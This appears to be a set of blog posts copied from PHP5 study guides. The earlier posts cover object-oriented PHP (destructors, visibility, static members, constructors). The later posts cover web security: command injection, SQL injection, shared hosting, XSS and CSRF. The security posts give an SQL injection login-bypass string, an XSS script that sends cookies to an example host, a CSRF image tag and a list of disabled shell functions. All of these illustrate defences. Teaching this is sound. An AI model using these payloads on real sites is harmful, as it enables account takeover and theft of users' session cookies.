Object Oriented Concepts In PHP5 (Part 2)

1 comments

1.DESTRUCTORS
Destructor functions
are the opposite of constructors. They are called when the object is being destroyed (for example, when there are no more references to the object). As PHP makes sure all resources are freed at the end of each request, the importance of destructors is limited. However, they can still be useful for performing certain actions, such as flushing a resource or logging information on object destruction. There are two situations where your destructor might be called: during your script’s execution when all references to an object are destroyed, or when the end of the script is reached and PHP.ends the request. The latter situation is delicate because you are relying on
some objects that might already have had their destructors called and are not accessible anymore. So, use it with care, and don’t rely on other objects in your destructors.
Defining a destructor is as simple as adding a __destruct() method to your class:
class MyClass {
function __destruct()
{
print "An object of type MyClass is being destroyed\n";
}
}
$obj = new MyClass();
$obj = NULL;

This script prints
An object of type MyClass is being destroyed


In this example, when
$obj = NULL;
is reached, the only handle to the object is destroyed, and therefore the destructor is called, and the object itself is destroyed. Even without the last line, the destructor would be called, but it would be at the end of the request during the execution engine’s shutdown.


2. ACCESSING METHODS AND PROPERTIES USING THE $this VARIABLE
During the execution of an object’s method, a special variable called $this is automatically defined, which denotes a reference to the object itself. By using this variable and the -> notation, the object’s methods and properties can be further referenced. For example, you can access the $name property by using $this->name (note that you don’t use a $ before the name of the property). An object’s methods can be accessed in the same way; for example, from inside one of person’s methods, you could call getName() by writing $this->getName().

2.1 A public, protected, and private Properties
A key paradigm in OOP is encapsulation and access protection of object properties
(also referred to as member variables). Most common OO languages have three main access restriction keywords: public, protected, and private.When defining a class member in the class definition, the developer
needs to specify one of these three access modifiers before declaring the member
itself. In case you are familiar with PHP 3 or 4’s object model, all class
members were defined with the var keyword, which is equivalent to public in PHP 5. var has been kept for backward compatibility, but it is deprecated, thus, you are encouraged to convert your scripts to the new keywords:
class MyClass {
public $publicMember = "Public member";
protected $protectedMember = "Protected member";
private $privateMember = "Private member";
function myMethod(){
// ...
}
}
$obj = new MyClass();
This example will be built upon to demonstrate the use of these access
modifiers.First, the more boring definitions of each access modifier:
private:Private members are similar to protected members because they can be accessed only from within an object’s method. However, they are also inaccessible from a derived object’s methods. Because private properties aren’t visible from inheriting classes, two related classes may declare the same private properties. Each class will see its own private copy, which are unrelated.
protected:Protected members can be accessed only from within an object’s method—for example, $this->protectedMember. If another class inherits a protected member, the same rules apply, and it can be accessed from within the derived object’s methods via the special $this variable.
public:Public members can be accessed both from outside an object by using $obj->publicMember and by accessing it from inside the myMethod method via the special $this variable (for example, $this->publicMember). If another class inherits a public member, the same rules apply, and it can be accessed both from outside the derived class’s objects and from within its methods.

Usually, you would use public for members you want to be accessible
from outside the object’s scope (i.e., its methods), and private for members who
are internal to the object’s logic. Use protected for members who are internal
to the object’s logic, but where it might make sense for inheriting classes to
override them:

class MyDbConnectionClass {
public $queryResult;
protected $dbHostname = "localhost";
private $connectionHandle;
// ...
}
class MyFooDotComDbConnectionClass extends MyDbConnectionClass {
protected $dbHostname = "foo.com";
}

This incomplete example shows typical use of each of the three access
modifiers. This class manages a database connection including queries made
to the database:

☞ The connection handle to the database is held in a private member,because it is used by the class’s internal logic and shouldn’t be accessible to the user of this class.
☞ In this example, the database hostname isn’t exposed to the user of theclass MyDbConnectionClass. To override it, the developer may inherit from the initial class and change the value.
☞ The query result itself should be accessible to the developer and has, therefore, been declared as public.

Note that access modifiers are designed so that classes (or more specifically,
their interfaces to the outer world) always keep an is-a relationship during
inheritance. Therefore, if a parent declares a member as public, the
inheriting child must also declare it as public. Otherwise, the child would not
have an is-a relationship with the parent, which means that anything you can
do with the parent can also be done with the child.

2.2 public, protected, and private Methods

Access modifiers may also be used in conjunction with object methods, and the rules are the same:
☞ public methods can be called from any scope.
☞ protected methods can only be called from within one of its class methods or from within an inheriting class.

☞ private methods can only be called from within one of its class methods and not from an inheriting class. As with properties, private methods may be redeclared by inheriting classes. Each class will see its own version of the method:
class MyDbConnectionClass {
public function connect()
{
$conn = $this->createDbConnection();
$this->setDbConnection($conn);
return $conn;
}
protected function createDbConnection()
{
return mysql_connect("localhost");
}
private function setDbConnection($conn)
{
$this->dbConnection = $conn;
}
private $dbConnection;
}
class MyFooDotComDbConnectionClass extends MyDbConnectionClass {
protected function createDbConnection()
{
return mysql_connect("foo.com");
}
}

This skeleton code example could be used for a database connection class. The connect() method is meant to be called by outside code. The createDbConnection() method is an internal method but enables you to inherit from the class and change it; thus, it is marked as protected. The setDbConnection() method is completely internal to the class and is therefore marked as private.

2.3 Static Properties

As you know by now, classes can declare properties. Each instance of the class (i.e., object) has its own copy of these properties. However, a class can also contain static properties. Unlike regular properties, these belong to the class itself and not to any instance of it. Therefore, they are often called class properties as opposed to object or instance properties. You can also think of static properties as global variables that sit inside a class but are accessible from anywhere via the class.
Static properties are defined by using the static keyword:
class MyClass {
static $myStaticVariable;
static $myInitializedStaticVariable = 0;
}
To access static properties, you have to qualify the property name with the class it sits in
MyClass::$myInitializedStaticVariable++;
print MyClass::$myInitializedStaticVariable;
This example prints the number 1.
If you’re accessing the member from inside one of the class methods, you may also refer to the property by prefixing it with the special class name self, which is short for the class to which the method belongs:
class MyClass {
static $myInitializedStaticVariable = 0;
function myMethod()
{
print self::$myInitializedStaticVariable;
}
}
$obj = new MyClass();
$obj->myMethod();
This example prints the number 0.
You are probably asking yourself if this whole static business is really useful.
One example of using it is to assign a unique id to all instances of a class:
class MyUniqueIdClass {
static $idCounter = 0;
public $uniqueId;
function __construct()
{
self::$idCounter++;
$this->uniqueId = self::$idCounter;

}
}
$obj1 = new MyUniqueIdClass();
print $obj1->uniqueId . "\n";
$obj2 = new MyUniqueIdClass();
print $obj2->uniqueId . "\n";
This prints
1
2
The first object’s $uniqueId property variable equals 1 and the latter object equals 2.

2.4 Static Methods

Similar to static properties, PHP supports declaring methods as static. What this means is that your static methods are part of the class and are not bound to any specific object instance and its properties. Therefore, $this isn’t accessible in these methods, but the class itself is by using self to access it. Because static methods aren’t bound to any specific object, you can call them without
creating an object instance by using the class_name::method() syntax. You may also call them from an object instance using $this->method(), but $this won’t be defined in the called method. For clarity, you should use self::method()
instead of $this->method().
Here’s an example:
class PrettyPrinter {
static function printHelloWorld()
{
print "Hello, World";
self::printNewline();
}
static function printNewline()
{
print "\n";
}
}
PrettyPrinter::printHelloWorld();

The example prints the string "Hello, World" followed by a newline. Although it is a useless example, you can see that printHelloWorld() can be called on the class without creating an object instance using the class name, and the static method itself can call another static method of the class print- Newline() using the self:: notation. You may call a parent’s static method by using the parent:: notationn which will be covered later in next post.

Source : PHP5 Power Programming

Object Oriented Concepts In PHP5 (Part 1)

1 comments

1. objects
The main difference in OOP as opposed to functional programming is that the
data and code are bundled together into one entity, which is known as an object. Object-oriented applications are usually split up into a number of objects that interact with each other. Each object is usually an entity of the problem, which is self-contained and has a bunch of properties and methods.The properties are the object’s data, which basically means the variables that
belong to the object. The methods — if you are coming from a functional background — are basically the functions that the object supports. Going one step further, the functionality that is intended for other objects to be accessed and used during interaction is called an object’s interface.
Figure (A) represents a class. A class is a template for an object and describes what methods and properties an object of this type will have. In this example, the class represents a person. For each person in your application, you can make a separate instance of this class that represents the person’s information. For example, if two people in our application are called Joe and Judy, we would create two separate instances of this class and would call the setName() method of each with their names to initialize the variable holding the person’s name,$name. The methods and members that other interacting objects may use are a class’s contract. In this example, the person’s contracts to the outside world are the two set and get methods,setName()and get- Name().


class Person
Methods:
setName($name)
getName()

Properties:
$name
Fig.(A) Diagram of class Person.
The following PHP code defines the class, creates two instances of it, sets
the name of each instance appropriately, and prints the names:
class Person {
private $name;
function setName($name)
{
$this->name = $name;
}
function getName()
{
return $this->name;
}
};
$judy = new Person();
$judy->setName("Judy");
$joe = new Person();
$joe->setName("Joe");
print $judy->getName() . "\n";
print $joe->getName(). "\n";


2. DECLARING A CLASS
You might have noticed from the previous example that declaring a class (an object template) is simple. You use the class keyword, give the class a name,and list all the methods and properties an instance of this class should have:
class MyClass {
... // List of methods
...
... // List of properties
...
}
You may have noticed that, in front of the declaration of the $name property,we used the private keyword. We explain this keyword in detail later, but it basically means that only methods in this class can access $name .It forces anyone wanting to get/set this property to use the getName() and setName()methods, which represent the class’s interface for use by other objects or source code.


3. THE new KEYWORD AND CONSTRUCTORS
Instances of classes are created using the new keyword. In the previous example,
we created a new instance of the Person class using $judy = new Person();.
What happens during the new call is that a new object is allocated with its own copies of the properties defined in the class you requested, and then the constructor of the object is called in case one was defined. The constructor is a method named __construct(), which is automatically called by the new keyword after creating the object. It is usually used to automatically perform various initializations such as property initializations. Constructors can also accept arguments, in which case, when the new statement is written, you also need to send the constructor the function parameters in between the parentheses.
In PHP 4, instead of using __construct() as the constructor’s name, you had to define a method with the classes’ names, like C++. This still works with PHP 5, but you should use the new unified constructor naming convention for new applications.
We could have rewritten the previous example to pass the names of the people on the
new line:
class Person {
function __construct($name)
{
$this->name = $name;
}
function getName()
{
return $this->name;
}
private $name;
};
$judy = new Person("Judy") . "\n";
$joe = new Person("Joe") . "\n";
print $judy->getName();
print $joe->getName();
This code has the same result as the previous example.
NOTE : Because a constructor cannot return a value, the most common practice
for raising an error from within the constructor is by throwing an exception.
Source : PHP5 Power Programming

Website Security : Command Injection

0 comments
Another dangerous activity is executing shell commands whereby the user has supplied a part of the command. Mitigating this risk is very similar to mitigating the risk of SQL injection, although there are some specific PHP functions that you should learn. With properly filtered data, there are only two potential problems that you might
encounter regarding shell commands:

1. There might be metacharacters that can be used to execute arbitrary commands.

2. If the data being used to construct a command is intended to be a single argument, there might be characters within the data that cause it to be interpreted as multiple arguments instead.

These problems are solved with escapeshellcmd() and escapeshellarg(), respectively. Data passed through escapeshellcmd() will be escaped such that it no longer poses a risk of arbitrary shell command execution. Data passed through escapeshellarg() can safely be used as a single argument.


SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Database Security

0 comments
When using a database and accepting input to create part of a database query, it is easy to fall victim to an SQL injection attack. SQL injection occurs when a malicious user experiments on a formto gain information about a database. After gaining sufficient knowledge—usually from database error messages—the attacker is equipped to exploit the form for any possible vulnerabilities by injecting SQL into form fields. A popular example is a simple user login form:

<form method="login.php" action="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Log In" />
</form>

The vulnerable code used to process this login formmight look like the following:

$username = $_POST[’username’];
$password = md5($_POST[’password’]);
$sql = "SELECT *
FROM users
WHERE username = ’{$username}’ AND
password = ’{$password}’";
/* database connection and query code */
if (count($results) > 0)
{
// Successful login attempt
}

In this example, note how there is no code to filter the $_POST input. Instead the raw input is stored directly to the $username variable. This raw input is then used in the SQL statement—nothing is escaped. An attacker might attempt to log in using a username similar to the following:

username’ OR 1 = 1 --

With this username and a blank password, the SQL statement is now:

SELECT *
FROM users
WHERE username = ’username’ OR 1 = 1 --’ AND
password = ’d41d8cd98f00b204e9800998ecf8427e’

Since 1 = 1 is always true and - begins an SQL comment, the SQL query ignores everything after the - and successfully returns all user records. This is enough to log in the attacker. Furthermore, if the attacker knows a username, he can provide that username in this attack in an attempt to impersonate the user by gaining that user’s access credentials.
SQL injection attacks are possible due to a lack of filtering and escaping. Properly filtering input and escaping the output for SQL will eliminate the risk of attack. To escape output for an SQL query, use the driver-specific *_escape_string() function for your database. If possible, use bound parameters. For more information on bound parameters, see the Escape Output section earlier in this chapter or the Database Programming chapter.

SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Security: Shared Hosting

0 comments
There are a variety of security issues that arise when using shared hosting solutions. In the past, PHP has tried to solve some of this issues with the safe_mode directive. However, as the PHP manual states, it “is architecturally incorrect to try to solve this problem at the PHP level.” Thus, safe_mode will no longer be available as of PHP 6. Still, there are three php.ini directives that remain important in a shared hosting environment: open_basedir, disable_functions, and disable_classes. These directives do not depend upon safe_mode, and they will remain available for the foreseeable future.
The open_basedir directive provides the ability to limit the files that PHP can open to a specified directory tree. When PHP tries to open a file with, for example, fopen() or include, it checks the the location of the file. If it exists within the directory tree specified by open_basedir, then it will succeed; otherwise, it will fail to open the file. You may set the open_basedir directive in php.ini or on a per-virtual-host basis in httpd.conf. In the following httpd.conf virtual host example, PHP scripts may only open files located in the /home/user/www and /usr/local/lib/php directories (the latter is often the location of the PEAR library):
<VirtualHost *>
DocumentRoot /home/user/www
ServerName www.example.org
<Directory /home/user/www>
php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
</Directory>
</VirtualHost>
The disable_functions and disable_classes directives work similarly, allowing you to disable certain native PHP functions and classes for security reasons. Any functions or classes listed in these directives will not be available to PHP applications running on the system. You may only set these in php.ini. The following example illustrates the use of these directives to disable specific functions and classes:
; Disable functions
disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory
SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Website Security (Cross-Site Scripting)

0 comments
Cross-site scripting (XSS) is one of the most common and best known kinds of attacks. The simplicity of this attack and the number of vulnerable applications in existence make it very attractive tomalicious users. An XSS attack exploits the user’s trust in the application and is usually an effort to steal user information, such as cookies and other personally identifiable data. All applications that display input are at risk.
Consider the following form, for example. This form might exist on any of a number of popular community websites that exist today, and it allows a user to add a comment to another user’s profile. After submitting a comment, the page displays all of the comments that were previously submitted, so that everyone can view all of the comments left on the user’s profile.

<form method="POST" action="process.php">
<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>
<p><input type="submit" /></p>
</form>

Imagine that a malicious user submits a comment on someone’s profile that contains
the following content:

<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’
+ document.cookie;
</script>

Now, everyone visiting this user’s profile will be redirected to the given URL and their cookies (including any personally identifiable information and login information) will be appended to the query string. The attacker can easily access the cookies with $_GET[’cookies’] and store them for later use. This attack works only if the application fails to escape output. Thus, it is easy to prevent this kind of attack with proper output escaping.
SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Website Security (Cross-Site Request Forgeries)

0 comments
A cross-site request forgery (CSRF) is an attack that attempts to cause a victim to unknowingly send arbitraryHTTP requests, usually to URLs requiring privileged access and using the existing session of the victim to determine access. The HTTP request then causes the victimto execute a particular action based on his or her level of privilege, such asmaking a purchase or modifying or removing information.
Whereas an XSS attack exploits the user’s trust in an application, a forged request exploits an application’s trust in a user, since the request appears to be legitimate and it is difficult for the application to determine whether the user intended for it to take place. While proper escaping of output will prevent your application from being used as the vehicle for a CSRF attack, itwill not prevent your application from receiving forged requests. Thus, your application needs the ability to determine whether the request was intentional and legitimate or possibly forged and malicious.
Before examining the means to protect against forged requests, it may be helpful to understand how such an attack occurs. Consider the following example.
Suppose you have a Web site in which users register for an account and then browse a catalogue of books for purchase. Again, suppose that a malicious user signs up for an account and proceeds through the process of purchasing a book from the site. Along the way, she might learn the following through casual observation:
• She must log in to make a purchase.
• After selecting a book for purchase, she clicks the buy button, which redirects her through checkout.php.
• She sees that the action to checkout.php is a POST action but wonders whether passing parameters to checkout.php through the query string (GET) will work.
• When passing the same form values through the query string (i.e. checkout.php?isbn=0312863551&qty=1), she notices that she has, in fact, successfully purchased a book.
With this knowledge, themalicious user can cause others to make purchases at your site without their knowledge. The easiest way to do this is to use an image tag to embed an image in some arbitraryWeb site other than your own (although, at times, your own site may be used for such an attack). In the following code, the src of the img tag makes a request when the page loads.

<img src="http://example.org/checkout.php?isbn=0312863551&qty=1" />

Even though this img tag is embedded on a different Web site, it still continues to make the request to the book catalogue site. For most people, the request will fail because users must be logged in to make a purchase, but, for those users who do happen to be logged into the site (through a cookie or active session), this attack exploits the Web site’s trust in that user and causes them to make a purchase. The solution for this particular type of attack, however, is simple: force the use of POST over GET. This attack works because checkout.php uses the $_REQUEST superglobal array to access isbn and qty. Using $_POST will mitigate the risk of this kind of attack, but it won’t protect against all forged requests.
Other, more sophisticated attacks can make POST requests just as easily as GET, but a simple token method can block these attempts and force users to use your forms. The token method involves the use of a randomly generated token that is stored in the user’s session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user’s session. If it matches, then the request is valid. If not, then it is suspect and the script should not process the input and, instead, should display an error to the user. The following snippet from the aforementioned formillustrates the use of the token method:

<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION[’token’] = $token;
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>

The processing script that handles this form (checkout.php) can then check for the token:

if (isset($_SESSION[’token’])
&& isset($_POST[’token’])
&& $_POST[’token’] == $_SESSION[’token’])
{
// Token is valid, continue processing form data
}

SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE